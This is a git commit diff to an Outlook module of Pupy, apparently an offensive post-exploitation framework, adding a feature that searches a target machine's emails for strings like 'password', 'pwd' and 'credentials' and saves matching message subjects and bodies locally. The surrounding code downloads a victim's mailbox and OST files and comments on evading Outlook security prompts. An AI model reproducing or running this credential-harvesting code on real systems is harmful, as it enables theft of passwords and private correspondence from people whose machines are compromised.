Bug fix + search in emails

This commit is contained in:
quentinhardy 2016-10-18 08:48:43 -04:00
parent eb10b4b7c6
commit fa05e22162
2 changed files with 55 additions and 11 deletions

View File

@ -27,6 +27,8 @@ class Outlook(PupyModule):
self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)") self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)")
self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)") self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)")
self.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)") self.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)")
self.arg_parser.add_argument('-s', dest='search', action='store_true', help="Search strings in emails, see -strings for options")
self.arg_parser.add_argument('-strings', dest='strings', default="password,pwd,credentials", help="Strings to search in emails (use with -s) (default: %(default)s)")
self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)") self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)")
self.arg_parser.add_argument('-folder-default', choices=list(self.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)") self.arg_parser.add_argument('-folder-default', choices=list(self.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)") self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)")
@ -86,6 +88,7 @@ class Outlook(PupyModule):
self.error("This box is empty. You should choose another outlook folder") self.error("This box is empty. You should choose another outlook folder")
else: else:
self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder)) self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder))
self.success("You can use msgconvert for reading these emails locally")
self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.") self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.")
self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)") self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)")
logging.debug("Downloading all emails") logging.debug("Downloading all emails")
@ -99,4 +102,22 @@ class Outlook(PupyModule):
logging.debug("Deleting {0}".format(aPathToMailFile)) logging.debug("Deleting {0}".format(aPathToMailFile))
outlook.deleteTempMailFile(aPathToMailFile) outlook.deleteTempMailFile(aPathToMailFile)
print "\n" print "\n"
outlook.close() self.success("Download completed!")
if args.search == True:
self.success("Searching '{0}' in emails stored in {1} folder...".format(args.strings, args.outlookFolder))
localPathToFile = os.path.join(self.localFolder, "research.txt")
emails = outlook.searchStringsInEmails(strings=args.strings, separator=',')
if len(emails) > 0:
self.success("{0} emails found with {1}".format(len(emails), args.strings))
else:
self.error("{0} emails found with {1}".format(len(emails), args.strings))
f = open(localPathToFile,"w")
for i, anEmail in enumerate(emails):
f.write("-"*100+'\n')
f.write("[+] Email {0}\n".format(i))
f.write("-"*100+'\n')
f.write("Subject: {0}\n".format(anEmail['subject'].encode('utf8')))
f.write("Body: {0}\n".format(anEmail['body'].encode('utf8')))
self.success("Research completed!")
self.success("See the following file for results: {0}".format(localPathToFile))
f.close()

View File

@ -6,7 +6,7 @@ import os, logging, sys, time
from collections import OrderedDict from collections import OrderedDict
import win32com import win32com
import win32com.client import win32com.client
import glob import glob, re
class outlook(): class outlook():
''' '''
@ -58,12 +58,6 @@ class outlook():
except Exception,e: except Exception,e:
return False return False
def close(self):
'''
'''
logging.debug("Closing Outlook link...")
self.outlook.Quit()
def getInformation(self): def getInformation(self):
''' '''
Returns Dictionnary Returns Dictionnary
@ -191,7 +185,6 @@ class outlook():
filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg') filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg')
path = os.path.join(self.remoteTempFolder,filename) path = os.path.join(self.remoteTempFolder,filename)
logging.debug('Saving temporarily the email on the remote path {0}'.format(path)) logging.debug('Saving temporarily the email on the remote path {0}'.format(path))
#mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG'])
mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType]) mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType])
try: try:
os.rename(path, path) #test if the file is not opened by another process os.rename(path, path) #test if the file is not opened by another process
@ -203,6 +196,10 @@ class outlook():
def deleteTempMailFile(self,path): def deleteTempMailFile(self,path):
''' '''
''' '''
try:
os.remove(path)
except OSError as e:
time.sleep(self.sleepTime)
os.remove(path) os.remove(path)
""" """
@ -258,3 +255,29 @@ class outlook():
logging.info('OST file found in {0}'.format(ostFileFound)) logging.info('OST file found in {0}'.format(ostFileFound))
paths.append([os.path.basename(aFile), ostFileFound]) paths.append([os.path.basename(aFile), ostFileFound])
return paths return paths
def searchStringsInEmails(self, strings, separator=','):
'''
Returns emails when aString in subject or body
'''
emails= []
stringsSplited = strings.split(separator)
for aString in stringsSplited:
results = self.searchAStringInEmails(aString)
emails = emails + results
return emails
def searchAStringInEmails(self, aString):
'''
Returns emails when aString in subject or body
'''
body, subject, emails = "", "", []
logging.debug("Searching {1} over {0} emails...".format(self.getNbOfEmails(), aString))
for anEmail in self.inbox.Items:
outEmail = {'body':anEmail.Body, 'subject':anEmail.Subject}
if bool(re.search(aString, anEmail.Subject))==True:
emails.append(outEmail)
elif bool(re.search(aString, anEmail.Body))==True:
emails.append(outEmail)
return emails